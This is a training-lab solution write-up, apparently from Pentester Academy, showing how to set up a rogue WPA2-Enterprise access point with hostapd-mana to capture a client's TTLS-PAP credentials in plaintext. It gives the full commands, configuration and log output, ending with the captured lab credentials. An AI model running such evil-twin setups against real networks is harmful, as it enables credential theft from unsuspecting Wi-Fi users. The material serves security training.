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PENTESTER ACADEMY TOOL BOX

TRAINING

Name	Mana: Attacking TTLS-PAP
URL	https://www.attackdefense.com/challengedetails?cid=1287
Туре	Wi-Fi Attack-Defense : Live Cracking

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Objective: Use Hostapd-mana to create a WPA2-Enterprise WiFi network and retrieve the user's credentials!

Solution:

Step 1: Check the list of available WiFi network interfaces on the machine

Command: iw dev.

```
root@attackdefense:~# iw dev
phy#1
        Interface wlan1
                ifindex 5
                wdev 0x100000001
                addr 02:00:00:00:01:00
                type managed
                txpower 0.00 dBm
phy#0
        Interface wlan0
                ifindex 4
                wdev 0x1
                addr 02:00:00:00:00:00
                type managed
                txpower 0.00 dBm
root@attackdefense:~#
```

Wlan0 and wlan1 interfaces are present on the machine.

Step 2: Change interface wlan0 to monitor mode.

Command: iw dev wlan0 set monitor none

root@attackdefense:~# iw dev wlan0 set monitor none

Verify the same using iw dev command.

```
root@attackdefense:~# iw dev
phy#1
        Interface wlan1
                ifindex 5
                wdev 0x100000001
                addr 02:00:00:00:01:00
                type managed
                txpower 0.00 dBm
phy#0
        Interface wlan0
                ifindex 4
                wdev 0x1
                addr 02:00:00:00:00:00
                type monitor
                txpower 0.00 dBm
root@attackdefense:~#
```

Step 3: Run airodump-ng on wlan0 interface to view all networks present in the vicinity on 2.4 (b/g) Ghz band.

Command: airodump-ng wlan0

root@attackdefense:~# airodump-ng wlan0

```
CH 10 ][ Elapsed: 18 s ][ 2019-10-24 12:14
BSSID
                               #Data, #/s CH MB
                 PWR Beacons
                                                   ENC CIPHER AUTH ESSID
BSSID
                 STATION
                                  PWR
                                        Rate
                                               Lost
                                                       Frames
                                                              Probe
(not associated)
                                                           6 Evil-Corp-Inc
                 02:00:00:00:02:00 -49
                                         0 - 1
                                                   0
```

A client is probing for SSID "Evil-Corp-Inc".

Step 4: The certificates and password list are provided in root's home directory (i.e. /root).

Command: Is -I

```
root@attackdefense:~# ls -1
total 8
-rw-r--r-- 1 root root 794 Oct 24 09:47 100-common-passwords.txt
drwxr-xr-x 2 root root 4096 Oct 24 09:47 certs
root@attackdefense:~#
```

Command: Is -I certs/

```
root@attackdefense:~# ls -l certs/
total 16
-rw-r--r-- 1 root root 1245 Oct 24 09:47 ca.pem
-rw-r--r-- 1 root root 424 Oct 24 09:47 dhparam.pem
-rw-r--r-- 1 root root 1675 Oct 24 09:47 server.key
-rw-r--r-- 1 root root 1245 Oct 24 09:47 server.pem
root@attackdefense:~#
```

Step 5: Create a hostapd-mana configuration file to host a WPA/WPA2-Enterprise network.

Hostapd-mana configuration

interface=wlan1 ssid=Evil-Corp-Inc channel=6 hw_mode=g wpa=3 wpa_key_mgmt=WPA-EAP wpa_pairwise=TKIP CCMP auth algs=3 ieee8021x=1 eapol_key_index_workaround=0 eap_server=1 eap_user_file=hostapd.eap_user ca_cert=/root/certs/ca.pem server_cert=/root/certs/server.pem private_key=/root/certs/server.key private_key_passwd= dh_file=/root/certs/dhparam.pem mana_wpe=1 mana eapsuccess=1

```
root@attackdefense:~# cat mana-ttls-pap
interface=wlan1
ssid=Evil-Corp-Inc
channel=6
hw mode=g
wpa=3
wpa key mgmt=WPA-EAP
wpa pairwise=TKIP CCMP
auth algs=3
ieee8021x=1
eapol_key_index_workaround=0
eap server=1
eap_user_file=hostapd.eap_user
ca cert=/root/certs/ca.pem
server_cert=/root/certs/server.pem
private_key=/root/certs/server.key
private_key_passwd=
dh_file=/root/certs/dhparam.pem
mana wpe=1
mana eapsuccess=1
root@attackdefense:~#
```

Most of the parameter used in configuration file are part of Hostapd configuration. For more details on that, refer to Hostapd documentation.

Hostapd-mana specific ones are:

mana wpe=1 : enables WPE mode for EAP credentials interception

mana_eapsuccess=1 : enable EAP success messages

Hostapd-mana will also need a user file.

User file content

* PEAP,TTLS,TLS,MD5,GTC

"t" TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP "1234test" [2]

```
root@attackdefense:~# cat hostapd.eap_user

* PEAP,TTLS,TLS,MD5,GTC

"t" TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP "1234test" [2]
root@attackdefense:~#
```

This user file will allow any user to connect.

More details about the configuration can be found in documentation of Hostapd-mana: https://github.com/sensepost/hostapd-mana/wiki

Step 6: Start the network

Command: hostapd-mana mana-ttls-pap

```
root@attackdefense:~# hostapd-mana mana-ttls-pap
Configuration file: mana-ttls-pap
Using interface wlan1 with hwaddr 02:00:00:01:00 and ssid "Evil-Corp-Inc"
random: Only 18/20 bytes of strong random data available from /dev/random
random: Not enough entropy pool available for secure operations
WPA: Not enough entropy in random pool for secure operations - update keys later when
wlan1: interface state UNINITIALIZED->ENABLED
wlan1: AP-ENABLED
```

Step 7: Wait for the client to connect. As soon as the client connects to the network, the logs will appear on the console.



```
wlan1: STA 02:00:00:00:02:00 IEEE 802.11: authenticated
wlan1: STA 02:00:00:00:02:00 IEEE 802.11: associated (aid 1)
wlan1: CTRL-EVENT-EAP-STARTED 02:00:00:00:02:00
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: anon
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=21
MANA EAP Identity Phase 1: mike
MANA EAP TTLS-PAP | mike:freedom1
wlan1: CTRL-EVENT-EAP-SUCCESS 02:00:00:00:02:00
wlan1: STA 02:00:00:00:02:00 WPA: pairwise key handshake completed (RSN)
wlan1: AP-STA-CONNECTED 02:00:00:00:02:00
wlan1: STA 02:00:00:00:02:00 RADIUS: starting accounting session DC73A179F0E27A50
wlan1: STA 02:00:00:00:02:00 IEEE 802.1X: authenticated - EAP type: 0 (unknown)
```

From the logs, one can observe that in PAP the credentials can be captured in plaintext. Hence, the user credentials are:

Username: mike **Password:** freedom1